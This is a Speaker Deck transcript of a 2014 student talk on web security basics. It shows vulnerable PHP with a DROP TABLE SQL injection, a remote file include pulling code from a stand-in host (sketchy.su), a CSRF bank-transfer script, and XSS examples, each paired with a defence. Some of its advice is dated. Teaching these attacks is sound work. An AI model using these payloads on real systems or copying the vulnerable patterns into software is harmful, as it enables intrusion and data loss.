Upgrade to Pro
— share decks privately, control downloads, hide ads and more …
Speaker Deck
Features
Speaker Deck
PRO
Sign in
Sign up for free
Search
Search
RCOS Security Talk
Search
Kevin O'Connor
February 28, 2014
Programming
170
3
Share
RCOS Security Talk
Basic overview of common vulnerabilities and best practices.
Kevin O'Connor
February 28, 2014
More Decks by Kevin O'Connor
See All by Kevin O'Connor
SD&D 101
kevinoconnor7
0
79
Other Decks in Programming
See All in Programming
メッセージングを利用して時間的結合を分離しよう #phperkaigi
kajitack
3
580
瑠璃の宝石に学ぶ技術の声の聴き方 / 【劇場版】アニメから得た学びを発表会2026 #エンジニアニメ
mazrean
0
220
ドメインイベントでビジネスロジックを解きほぐす #phpcon_odawara
kajitack
2
130
仕様漏れ実装漏れをなくすトレーサビリティAI基盤のご紹介
orgachem
PRO
9
5.3k
PCOVから学ぶコードカバレッジ #phpcon_odawara
o0h
PRO
0
250
存在論的プログラミング: 時間と存在を記述する
koriym
5
850
forteeの改修から振り返るPHPerKaigi 2026
muno92
PRO
3
260
ハンズオンで学ぶクラウドネイティブ
tatsukiminami
0
110
10 Tips of AWS ~Gen AI on AWS~
licux
5
230
感情を設計する
ichimichi
5
1.4k
KagglerがMixSeekを触ってみた
morim
0
370
Running Swift without an OS
kishikawakatsumi
0
730
Featured
See All Featured
エンジニアに許された特別な時間の終わり
watany
106
240k
技術選定の審美眼(2025年版) / Understanding the Spiral of Technologies 2025 edition
twada
PRO
118
110k
Measuring Dark Social's Impact On Conversion and Attribution
stephenakadiri
1
180
Ethics towards AI in product and experience design
skipperchong
2
250
A better future with KSS
kneath
240
18k
Beyond borders and beyond the search box: How to win the global "messy middle" with AI-driven SEO
davidcarrasco
3
110
Why Your Marketing Sucks and What You Can Do About It - Sophie Logan
marketingsoph
0
130
CSS Pre-Processors: Stylus, Less & Sass
bermonpainter
360
30k
How to Talk to Developers About Accessibility
jct
2
170
Site-Speed That Sticks
csswizardry
13
1.1k
Breaking role norms: Why Content Design is so much more than writing copy - Taylor Woolridge
uxyall
0
250
Rebuilding a faster, lazier Slack
samanthasiow
85
9.5k
Transcript
YOU SUCK at security
1. Your attackers are better
Do NOT ROLL YOUR OWN
None
1. Open-source 2. Audited 3. Active community
2. Security is hard
No. Seriously.
5,000 CVEs /yr
3. Dont trust input
<?php! $query = "SELECT * FROM users WHERE username='". "$_GET[’user']."'";
! $result = mysql_query($query);!
/derp.php?user=x’ DROP TABLE users;--!
/derp.php?user=x’ DROP TABLE users;--! http://xkcd.com/327/
<?php! $stmt = $dbh->prepare("SELECT FROM users WHERE username=?");! $stmt->execute(array($_GET['user']));! Use
Parameter Binding
<div><?php echo $row['username']; ?></div>! XSS. Inject javascript
<html>! <body>! "<form method="POST" action="/users/add">! " "<input type="text" name="username">! "
"<input type="password" name="password">! " "<input type="hidden" name="isAdmin" value="true">! " "<button type="submit">Create user</button>! "</form>! </body>! </html>! Unexpected Input. Sneaky DOM edit
<?php! include('header.php');! include($_GET['page']);! include('footer.php');! ! /index.php?page=http://sketchy.su/BadTime.php! Remote Include.
Sanitize all input
Blacklist Only use if you know all cases Less restrictive
on user
Whitelist Best security Very restrictive
Protip Markdown Google Caja
4. Protect your cookies
Set-Cookie: SESSIONID=S8d2d1ffd5cb37209ef71982b80f16d7b! Bad Session
Set-Cookie: SESSIONID=S8d2d1ffd5cb37209ef71982b80f16d7b; ! "HttpOnly; secure! GOOD Session Send over SSL
only HTTP access only Prevents XSS theft
5. No Outsiders
<iframe name="bank"></iframe>! <script>! "document.write('! " "<form ! " " action="https://MyBank.com/account/transfer"
! " " target="bank" ! " " method="POST" ! " " name="injected">! " " "<input type="text" name="amount" value="1000.00" />! " " "<input type="text" name="to" value="
[email protected]
" />! " "</form>! "');! "injected.submit();! </script>!
CSRF sucks
Block it. Require a unique token per request X-Frame-Options: Block
6. Encrypt everything
Too expensive? startssl.com
Self-sign Dev Environment openssl req -x509 -newkey des3:2048 -keyout key.pem
- out cert.pem -days XXX!
Verify All CERTS <?php! // cURL supports SSL verification! curl_setopt($ch,
CURLOPT_SSL_VERIFYPEER, true);! ! //File_get_contents does NOT! file_get_contents($url);!
Verify Servers Use server certs to verify servers to one
another
Harden SSL Disable SSL2 Disable TLS1.0 compression Disable weak ciphers
(DES, RC4) h"p://blog.cloudflare.com/staying-‐on-‐top-‐of-‐tls-‐a"acks
Force SSL
7. Use Slow Hashes
No Plaintext Passwords Just don’t.
Hash + Salt MD5 SHA1 … HMAC + bcrypt
Wait. Explain. We want to be slow.
Method password = bcrypt(HMAC(password, local_salt), bcrypt_salt)!
Salt-free db Store salt on file system Two attacks needed
Or both
Migrate. Maintain two hashes Rehash on successful login Purge old
hashes after x duration
Lost Passwords Hash a one-time login ID
8. Remember the basics
Random IV Having the IV be public is okay
Wait for entropy /dev/random waits /dev/urandom non-blocking
Use ECC NSA-Proof * * As far as we know,
at least…
Passwordless Login Use keypairs for server access
9. Use libraries
Crypto NaCL SJCL Crypto++ QCA
Web Frameworks Python: Django, Flask PHP: Laravel, Phalcon Go: Revel
Node: Sails Java/Scala: Play Ruby: Rails
Assume nothing Always research security best practices
Questions? Complaints?
Im hiring Sysadmin.union.rpi.edu/apply